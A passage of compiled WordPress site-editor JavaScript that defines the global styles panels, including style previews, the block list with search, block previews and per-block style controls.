10994 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
10995 external_wp_components_namespaceObject.__unstableMotion.div,
10996 {
10997 style: {
10998 height: normalizedHeight * ratio,
10999 width: "100%",
11000 background: gradientValue ?? backgroundColor,
11001 cursor: withHoverView ? "pointer" : void 0
11002 },
11003 initial: "start",
11004 animate: (isHovered || isFocused) && !disableMotion && label ? "hover" : "start",
11005 children: [].concat(children).map((child, key) => child({ ratio, key }))
11006 }
11007 )
11008 }
11009 )
11010 ] });
11011}
11012
11013
11014;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-styles.js
11015
11016
11017
11018
11019
11020
11021
11022
11023const { useGlobalStyle: preview_styles_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11024const firstFrameVariants = {
11025 start: {
11026 scale: 1,
11027 opacity: 1
11028 },
11029 hover: {
11030 scale: 0,
11031 opacity: 0
11032 }
11033};
11034const midFrameVariants = {
11035 hover: {
11036 opacity: 1
11037 },
11038 start: {
11039 opacity: 0.5
11040 }
11041};
11042const secondFrameVariants = {
11043 hover: {
11044 scale: 1,
11045 opacity: 1
11046 },
11047 start: {
11048 scale: 0,
11049 opacity: 0
11050 }
11051};
11052const PreviewStyles = ({ label, isFocused, withHoverView, variation }) => {
11053 const [fontWeight] = preview_styles_useGlobalStyle("typography.fontWeight");
11054 const [fontFamily = "serif"] = preview_styles_useGlobalStyle("typography.fontFamily");
11055 const [headingFontFamily = fontFamily] = preview_styles_useGlobalStyle(
11056 "elements.h1.typography.fontFamily"
11057 );
11058 const [headingFontWeight = fontWeight] = preview_styles_useGlobalStyle(
11059 "elements.h1.typography.fontWeight"
11060 );
11061 const [textColor = "black"] = preview_styles_useGlobalStyle("color.text");
11062 const [headingColor = textColor] = preview_styles_useGlobalStyle(
11063 "elements.h1.color.text"
11064 );
11065 const { paletteColors } = useStylesPreviewColors();
11066 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
11067 PreviewWrapper,
11068 {
11069 label,
11070 isFocused,
11071 withHoverView,
11072 children: [
11073 ({ ratio, key }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11074 external_wp_components_namespaceObject.__unstableMotion.div,
11075 {
11076 variants: firstFrameVariants,
11077 style: {
11078 height: "100%",
11079 overflow: "hidden"
11080 },
11081 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
11082 external_wp_components_namespaceObject.__experimentalHStack,
11083 {
11084 spacing: 10 * ratio,
11085 justify: "center",
11086 style: {
11087 height: "100%",
11088 overflow: "hidden"
11089 },
11090 children: [
11091 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11092 PreviewTypography,
11093 {
11094 fontSize: 65 * ratio,
11095 variation
11096 }
11097 ),
11098 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4 * ratio, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11099 HighlightedColors,
11100 {
11101 normalizedColorSwatchSize: 32,
11102 ratio
11103 }
11104 ) })
11105 ]
11106 }
11107 )
11108 },
11109 key
11110 ),
11111 ({ key }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11112 external_wp_components_namespaceObject.__unstableMotion.div,
11113 {
11114 variants: withHoverView && midFrameVariants,
11115 style: {
11116 height: "100%",
11117 width: "100%",
11118 position: "absolute",
11119 top: 0,
11120 overflow: "hidden",
11121 filter: "blur(60px)",
11122 opacity: 0.1
11123 },
11124 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11125 external_wp_components_namespaceObject.__experimentalHStack,
11126 {
11127 spacing: 0,
11128 justify: "flex-start",
11129 style: {
11130 height: "100%",
11131 overflow: "hidden"
11132 },
11133 children: paletteColors.slice(0, 4).map(({ color }, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11134 "div",
11135 {
11136 style: {
11137 height: "100%",
11138 background: color,
11139 flexGrow: 1
11140 }
11141 },
11142 index
11143 ))
11144 }
11145 )
11146 },
11147 key
11148 ),
11149 ({ ratio, key }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11150 external_wp_components_namespaceObject.__unstableMotion.div,
11151 {
11152 variants: secondFrameVariants,
11153 style: {
11154 height: "100%",
11155 width: "100%",
11156 overflow: "hidden",
11157 position: "absolute",
11158 top: 0
11159 },
11160 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11161 external_wp_components_namespaceObject.__experimentalVStack,
11162 {
11163 spacing: 3 * ratio,
11164 justify: "center",
11165 style: {
11166 height: "100%",
11167 overflow: "hidden",
11168 padding: 10 * ratio,
11169 boxSizing: "border-box"
11170 },
11171 children: label && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11172 "div",
11173 {
11174 style: {
11175 fontSize: 40 * ratio,
11176 fontFamily: headingFontFamily,
11177 color: headingColor,
11178 fontWeight: headingFontWeight,
11179 lineHeight: "1em",
11180 textAlign: "center"
11181 },
11182 children: label
11183 }
11184 )
11185 }
11186 )
11187 },
11188 key
11189 )
11190 ]
11191 }
11192 );
11193};
11194var preview_styles_default = PreviewStyles;
11195
11196
11197;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-root.js
11198
11199
11200
11201
11202
11203
11204
11205
11206
11207
11208function ScreenRoot() {
11209 const hasVariations = (0,external_wp_data_.useSelect)((select) => {
11210 const { __experimentalGetCurrentThemeGlobalStylesVariations } = select(external_wp_coreData_namespaceObject.store);
11211 return !!__experimentalGetCurrentThemeGlobalStylesVariations()?.length;
11212 }, []);
11213 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
11214 external_wp_components_namespaceObject.Card,
11215 {
11216 size: "small",
11217 isBorderless: true,
11218 className: "edit-site-global-styles-screen-root",
11219 isRounded: false,
11220 children: [
11221 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardBody, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 4, children: [
11222 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, { className: "edit-site-global-styles-screen-root__active-style-tile", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardMedia, { className: "edit-site-global-styles-screen-root__active-style-tile-preview", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(preview_styles_default, {}) }) }),
11223 hasVariations && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { path: "/variations", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
11224 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: (0,external_wp_i18n_namespaceObject.__)("Browse styles") }),
11225 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11226 IconWithCurrentColor,
11227 {
11228 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default
11229 }
11230 )
11231 ] }) }) }),
11232 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(root_menu_default, {})
11233 ] }) }),
11234 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CardDivider, {}),
11235 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, { children: [
11236 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11237 external_wp_components_namespaceObject.__experimentalSpacer,
11238 {
11239 as: "p",
11240 paddingTop: 2,
11241 paddingX: "13px",
11242 marginBottom: 2,
11243 children: (0,external_wp_i18n_namespaceObject.__)(
11244 "Customize the appearance of specific blocks for the whole site."
11245 )
11246 }
11247 ),
11248 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { path: "/blocks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
11249 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: (0,external_wp_i18n_namespaceObject.__)("Blocks") }),
11250 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11251 IconWithCurrentColor,
11252 {
11253 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default
11254 }
11255 )
11256 ] }) }) })
11257 ] })
11258 ]
11259 }
11260 );
11261}
11262var screen_root_default = ScreenRoot;
11263
11264
11265;// external ["wp","a11y"]
11266const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
11267;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-panel.js
11268
11269
11270
11271
11272
11273
11274
11275const { useGlobalStyle: variations_panel_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11276function getFilteredBlockStyles(blockStyles, variations) {
11277 return blockStyles?.filter(
11278 (style) => style.source === "block" || variations.includes(style.name)
11279 );
11280}
11281function useBlockVariations(name) {
11282 const blockStyles = (0,external_wp_data_.useSelect)(
11283 (select) => {
11284 const { getBlockStyles } = select(external_wp_blocks_namespaceObject.store);
11285 return getBlockStyles(name);
11286 },
11287 [name]
11288 );
11289 const [variations] = variations_panel_useGlobalStyle("variations", name);
11290 const variationNames = Object.keys(variations ?? {});
11291 return getFilteredBlockStyles(blockStyles, variationNames);
11292}
11293function VariationsPanel({ name }) {
11294 const coreBlockStyles = useBlockVariations(name);
11295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: coreBlockStyles.map((style, index) => {
11296 if (style?.isDefault) {
11297 return null;
11298 }
11299 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11300 NavigationButtonAsItem,
11301 {
11302 path: "/blocks/" + encodeURIComponent(name) + "/variations/" + encodeURIComponent(style.name),
11303 children: style.label
11304 },
11305 index
11306 );
11307 }) });
11308}
11309
11310
11311;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/header.js
11312
11313
11314
11315
11316function ScreenHeader({ title, description, onBack }) {
11317 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, children: [
11318 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalView, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginBottom: 0, paddingX: 4, paddingY: 3, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { spacing: 2, children: [
11319 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11320 external_wp_components_namespaceObject.Navigator.BackButton,
11321 {
11322 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
11323 size: "small",
11324 label: (0,external_wp_i18n_namespaceObject.__)("Back"),
11325 onClick: onBack
11326 }
11327 ),
11328 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11329 external_wp_components_namespaceObject.__experimentalHeading,
11330 {
11331 className: "edit-site-global-styles-header",
11332 level: 2,
11333 size: 13,
11334 children: title
11335 }
11336 ) })
11337 ] }) }) }),
11338 description && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "edit-site-global-styles-header__description", children: description })
11339 ] });
11340}
11341var header_default = ScreenHeader;
11342
11343
11344;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block-list.js
11345
11346
11347
11348
11349
11350
11351
11352
11353
11354
11355
11356
11357
11358const {
11359 useHasDimensionsPanel: screen_block_list_useHasDimensionsPanel,
11360 useHasTypographyPanel: screen_block_list_useHasTypographyPanel,
11361 useHasBorderPanel,
11362 useGlobalSetting: screen_block_list_useGlobalSetting,
11363 useSettingsForBlockElement: screen_block_list_useSettingsForBlockElement,
11364 useHasColorPanel: screen_block_list_useHasColorPanel
11365} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11366function useSortedBlockTypes() {
11367 const blockItems = (0,external_wp_data_.useSelect)(
11368 (select) => select(external_wp_blocks_namespaceObject.store).getBlockTypes(),
11369 []
11370 );
11371 const groupByType = (blocks, block) => {
11372 const { core, noncore } = blocks;
11373 const type = block.name.startsWith("core/") ? core : noncore;
11374 type.push(block);
11375 return blocks;
11376 };
11377 const { core: coreItems, noncore: nonCoreItems } = blockItems.reduce(
11378 groupByType,
11379 { core: [], noncore: [] }
11380 );
11381 return [...coreItems, ...nonCoreItems];
11382}
11383function useBlockHasGlobalStyles(blockName) {
11384 const [rawSettings] = screen_block_list_useGlobalSetting("", blockName);
11385 const settings = screen_block_list_useSettingsForBlockElement(rawSettings, blockName);
11386 const hasTypographyPanel = screen_block_list_useHasTypographyPanel(settings);
11387 const hasColorPanel = screen_block_list_useHasColorPanel(settings);
11388 const hasBorderPanel = useHasBorderPanel(settings);
11389 const hasDimensionsPanel = screen_block_list_useHasDimensionsPanel(settings);
11390 const hasLayoutPanel = hasBorderPanel || hasDimensionsPanel;
11391 const hasVariationsPanel = !!useBlockVariations(blockName)?.length;
11392 const hasGlobalStyles = hasTypographyPanel || hasColorPanel || hasLayoutPanel || hasVariationsPanel;
11393 return hasGlobalStyles;
11394}
11395function BlockMenuItem({ block }) {
11396 const hasBlockMenuItem = useBlockHasGlobalStyles(block.name);
11397 if (!hasBlockMenuItem) {
11398 return null;
11399 }
11400 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11401 NavigationButtonAsItem,
11402 {
11403 path: "/blocks/" + encodeURIComponent(block.name),
11404 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
11405 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: block.icon }),
11406 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: block.title })
11407 ] })
11408 }
11409 );
11410}
11411function BlockList({ filterValue }) {
11412 const sortedBlockTypes = useSortedBlockTypes();
11413 const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
11414 const { isMatchingSearchTerm } = (0,external_wp_data_.useSelect)(external_wp_blocks_namespaceObject.store);
11415 const filteredBlockTypes = !filterValue ? sortedBlockTypes : sortedBlockTypes.filter(
11416 (blockType) => isMatchingSearchTerm(blockType, filterValue)
11417 );
11418 const blockTypesListRef = (0,external_wp_element_.useRef)();
11419 (0,external_wp_element_.useEffect)(() => {
11420 if (!filterValue) {
11421 return;
11422 }
11423 const count = blockTypesListRef.current.childElementCount;
11424 const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
11425 /* translators: %d: number of results. */
11426 (0,external_wp_i18n_namespaceObject._n)("%d result found.", "%d results found.", count),
11427 count
11428 );
11429 debouncedSpeak(resultsFoundMessage, count);
11430 }, [filterValue, debouncedSpeak]);
11431 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11432 "div",
11433 {
11434 ref: blockTypesListRef,
11435 className: "edit-site-block-types-item-list",
11436 role: "list",
11437 children: filteredBlockTypes.length === 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { align: "center", as: "p", children: (0,external_wp_i18n_namespaceObject.__)("No blocks found.") }) : filteredBlockTypes.map((block) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11438 BlockMenuItem,
11439 {
11440 block
11441 },
11442 "menu-itemblock-" + block.name
11443 ))
11444 }
11445 );
11446}
11447const MemoizedBlockList = (0,external_wp_element_.memo)(BlockList);
11448function ScreenBlockList() {
11449 const [filterValue, setFilterValue] = (0,external_wp_element_.useState)("");
11450 const deferredFilterValue = (0,external_wp_element_.useDeferredValue)(filterValue);
11451 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
11452 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11453 header_default,
11454 {
11455 title: (0,external_wp_i18n_namespaceObject.__)("Blocks"),
11456 description: (0,external_wp_i18n_namespaceObject.__)(
11457 "Customize the appearance of specific blocks and for the whole site."
11458 )
11459 }
11460 ),
11461 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11462 external_wp_components_namespaceObject.SearchControl,
11463 {
11464 __nextHasNoMarginBottom: true,
11465 className: "edit-site-block-types-search",
11466 onChange: setFilterValue,
11467 value: filterValue,
11468 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
11469 placeholder: (0,external_wp_i18n_namespaceObject.__)("Search")
11470 }
11471 ),
11472 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MemoizedBlockList, { filterValue: deferredFilterValue })
11473 ] });
11474}
11475var screen_block_list_default = ScreenBlockList;
11476
11477
11478;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/block-preview-panel.js
11479
11480
11481
11482
11483
11484
11485const BlockPreviewPanel = ({ name, variation = "" }) => {
11486 const blockExample = (0,external_wp_blocks_namespaceObject.getBlockType)(name)?.example;
11487 const blocks = (0,external_wp_element_.useMemo)(() => {
11488 if (!blockExample) {
11489 return null;
11490 }
11491 const example = {
11492 ...blockExample,
11493 attributes: {
11494 ...blockExample.attributes,
11495 style: void 0,
11496 className: variation ? getVariationClassName(variation) : blockExample.attributes?.className
11497 }
11498 };
11499 return (0,external_wp_blocks_namespaceObject.getBlockFromExample)(name, example);
11500 }, [name, blockExample, variation]);
11501 const viewportWidth = blockExample?.viewportWidth ?? 500;
11502 const previewHeight = 144;
11503 const sidebarWidth = 235;
11504 const scale = sidebarWidth / viewportWidth;
11505 const minHeight = scale !== 0 && scale < 1 && previewHeight ? previewHeight / scale : previewHeight;
11506 if (!blockExample) {
11507 return null;
11508 }
11509 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginX: 4, marginBottom: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11510 "div",
11511 {
11512 className: "edit-site-global-styles__block-preview-panel",
11513 style: { maxHeight: previewHeight, boxSizing: "initial" },
11514 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11515 external_wp_blockEditor_namespaceObject.BlockPreview,
11516 {
11517 blocks,
11518 viewportWidth,
11519 minHeight: previewHeight,
11520 additionalStyles: (
11521 //We want this CSS to be in sync with the one in InserterPreviewPanel.
11522 [
11523 {
11524 css: `
11525 body{
11526 padding: 24px;
11527 min-height:${Math.round(minHeight)}px;
11528 display:flex;
11529 align-items:center;
11530 }
11531 .is-root-container { width: 100%; }
11532 `
11533 }
11534 ]
11535 )
11536 }
11537 )
11538 }
11539 ) });
11540};
11541var block_preview_panel_default = BlockPreviewPanel;
11542
11543
11544;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/subtitle.js
11545
11546
11547function Subtitle({ children, level }) {
11548 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11549 external_wp_components_namespaceObject.__experimentalHeading,
11550 {
11551 className: "edit-site-global-styles-subtitle",
11552 level: level ?? 2,
11553 children
11554 }
11555 );
11556}
11557var subtitle_default = Subtitle;
11558
11559
11560;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-block.js
11561
11562
11563
11564
11565
11566
11567
11568
11569
11570
11571
11572
11573
11574const BACKGROUND_BLOCK_DEFAULT_VALUES = {
11575 backgroundSize: "cover",
11576 backgroundPosition: "50% 50%"
11577 // used only when backgroundSize is 'contain'.
11578};
11579function applyFallbackStyle(border) {
11580 if (!border) {
11581 return border;
11582 }
11583 const hasColorOrWidth = border.color || border.width;
11584 if (!border.style && hasColorOrWidth) {
11585 return { ...border, style: "solid" };
11586 }
11587 if (border.style && !hasColorOrWidth) {
11588 return void 0;
11589 }
11590 return border;
11591}
11592function applyAllFallbackStyles(border) {
11593 if (!border) {
11594 return border;
11595 }
11596 if ((0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border)) {
11597 return {
11598 top: applyFallbackStyle(border.top),
11599 right: applyFallbackStyle(border.right),
11600 bottom: applyFallbackStyle(border.bottom),
11601 left: applyFallbackStyle(border.left)
11602 };
11603 }
11604 return applyFallbackStyle(border);
11605}
11606const {
11607 useHasDimensionsPanel: screen_block_useHasDimensionsPanel,
11608 useHasTypographyPanel: screen_block_useHasTypographyPanel,
11609 useHasBorderPanel: screen_block_useHasBorderPanel,
11610 useGlobalSetting: screen_block_useGlobalSetting,
11611 useSettingsForBlockElement: screen_block_useSettingsForBlockElement,
11612 useHasColorPanel: screen_block_useHasColorPanel,
11613 useHasFiltersPanel,
11614 useHasImageSettingsPanel,
11615 useGlobalStyle: screen_block_useGlobalStyle,
11616 useHasBackgroundPanel: screen_block_useHasBackgroundPanel,
11617 BackgroundPanel: StylesBackgroundPanel,
11618 BorderPanel: StylesBorderPanel,
11619 ColorPanel: StylesColorPanel,
11620 TypographyPanel: StylesTypographyPanel,
11621 DimensionsPanel: StylesDimensionsPanel,
11622 FiltersPanel: StylesFiltersPanel,
11623 ImageSettingsPanel,
11624 AdvancedPanel: StylesAdvancedPanel
11625} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11626function ScreenBlock({ name, variation }) {
11627 let prefixParts = [];
11628 if (variation) {
11629 prefixParts = ["variations", variation].concat(prefixParts);
11630 }
11631 const prefix = prefixParts.join(".");
11632 const [style] = screen_block_useGlobalStyle(prefix, name, "user", {
11633 shouldDecodeEncode: false
11634 });
11635 const [inheritedStyle, setStyle] = screen_block_useGlobalStyle(prefix, name, "all", {
11636 shouldDecodeEncode: false
11637 });
11638 const [userSettings] = screen_block_useGlobalSetting("", name, "user");
11639 const [rawSettings, setSettings] = screen_block_useGlobalSetting("", name);
11640 const settingsForBlockElement = screen_block_useSettingsForBlockElement(
11641 rawSettings,
11642 name
11643 );
11644 const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(name);
11645 let disableBlockGap = false;
11646 if (settingsForBlockElement?.spacing?.blockGap && blockType?.supports?.spacing?.blockGap && (blockType?.supports?.spacing?.__experimentalSkipSerialization === true || blockType?.supports?.spacing?.__experimentalSkipSerialization?.some?.(
11647 (spacingType) => spacingType === "blockGap"
11648 ))) {
11649 disableBlockGap = true;
11650 }
11651 let disableAspectRatio = false;
11652 if (settingsForBlockElement?.dimensions?.aspectRatio && name === "core/group") {
11653 disableAspectRatio = true;
11654 }
11655 const settings = (0,external_wp_element_.useMemo)(() => {
11656 const updatedSettings = structuredClone(settingsForBlockElement);
11657 if (disableBlockGap) {
11658 updatedSettings.spacing.blockGap = false;
11659 }
11660 if (disableAspectRatio) {
11661 updatedSettings.dimensions.aspectRatio = false;
11662 }
11663 return updatedSettings;
11664 }, [settingsForBlockElement, disableBlockGap, disableAspectRatio]);
11665 const blockVariations = useBlockVariations(name);
11666 const hasBackgroundPanel = screen_block_useHasBackgroundPanel(settings);
11667 const hasTypographyPanel = screen_block_useHasTypographyPanel(settings);
11668 const hasColorPanel = screen_block_useHasColorPanel(settings);
11669 const hasBorderPanel = screen_block_useHasBorderPanel(settings);
11670 const hasDimensionsPanel = screen_block_useHasDimensionsPanel(settings);
11671 const hasFiltersPanel = useHasFiltersPanel(settings);
11672 const hasImageSettingsPanel = useHasImageSettingsPanel(
11673 name,
11674 userSettings,
11675 settings
11676 );
11677 const hasVariationsPanel = !!blockVariations?.length && !variation;
11678 const { canEditCSS } = (0,external_wp_data_.useSelect)((select) => {
11679 const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
11680 const globalStylesId = __experimentalGetCurrentGlobalStylesId();
11681 const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0;
11682 return {
11683 canEditCSS: !!globalStyles?._links?.["wp:action-edit-css"]
11684 };
11685 }, []);
11686 const currentBlockStyle = variation ? blockVariations.find((s) => s.name === variation) : null;
11687 const inheritedStyleWithLayout = (0,external_wp_element_.useMemo)(() => {
11688 return {
11689 ...inheritedStyle,
11690 layout: settings.layout
11691 };
11692 }, [inheritedStyle, settings.layout]);
11693 const styleWithLayout = (0,external_wp_element_.useMemo)(() => {
11694 return {
11695 ...style,
11696 layout: userSettings.layout
11697 };
11698 }, [style, userSettings.layout]);
11699 const onChangeDimensions = (newStyle) => {
11700 const updatedStyle = { ...newStyle };
11701 delete updatedStyle.layout;
11702 setStyle(updatedStyle);
11703 if (newStyle.layout !== userSettings.layout) {
11704 setSettings({
11705 ...userSettings,
11706 layout: newStyle.layout
11707 });
11708 }
11709 };
11710 const onChangeLightbox = (newSetting) => {
11711 if (newSetting === void 0) {
11712 setSettings({
11713 ...rawSettings,
11714 lightbox: void 0
11715 });
11716 } else {
11717 setSettings({
11718 ...rawSettings,
11719 lightbox: {
11720 ...rawSettings.lightbox,
11721 ...newSetting
11722 }
11723 });
11724 }
11725 };
11726 const onChangeBorders = (newStyle) => {
11727 if (!newStyle?.border) {
11728 setStyle(newStyle);
11729 return;
11730 }
11731 const { radius, ...newBorder } = newStyle.border;
11732 const border = applyAllFallbackStyles(newBorder);
11733 const updatedBorder = !(0,external_wp_components_namespaceObject.__experimentalHasSplitBorders)(border) ? {
11734 top: border,
11735 right: border,
11736 bottom: border,
11737 left: border
11738 } : {
11739 color: null,
11740 style: null,
11741 width: null,
11742 ...border
11743 };
11744 setStyle({ ...newStyle, border: { ...updatedBorder, radius } });
11745 };
11746 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
11747 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11748 header_default,
11749 {
11750 title: variation ? currentBlockStyle?.label : blockType.title
11751 }
11752 ),
11753 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_preview_panel_default, { name, variation }),
11754 hasVariationsPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen-variations", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
11755 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { children: (0,external_wp_i18n_namespaceObject.__)("Style Variations") }),
11756 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(VariationsPanel, { name })
11757 ] }) }),
11758 hasColorPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11759 StylesColorPanel,
11760 {
11761 inheritedValue: inheritedStyle,
11762 value: style,
11763 onChange: setStyle,
11764 settings
11765 }
11766 ),
11767 hasBackgroundPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11768 StylesBackgroundPanel,
11769 {
11770 inheritedValue: inheritedStyle,
11771 value: style,
11772 onChange: setStyle,
11773 settings,
11774 defaultValues: BACKGROUND_BLOCK_DEFAULT_VALUES
11775 }
11776 ),
11777 hasTypographyPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11778 StylesTypographyPanel,
11779 {
11780 inheritedValue: inheritedStyle,
11781 value: style,
11782 onChange: setStyle,
11783 settings
11784 }
11785 ),
11786 hasDimensionsPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11787 StylesDimensionsPanel,
11788 {
11789 inheritedValue: inheritedStyleWithLayout,
11790 value: styleWithLayout,
11791 onChange: onChangeDimensions,
11792 settings,
11793 includeLayoutControls: true
11794 }
11795 ),
11796 hasBorderPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11797 StylesBorderPanel,
11798 {
11799 inheritedValue: inheritedStyle,
11800 value: style,
11801 onChange: onChangeBorders,
11802 settings
11803 }
11804 ),
11805 hasFiltersPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11806 StylesFiltersPanel,
11807 {
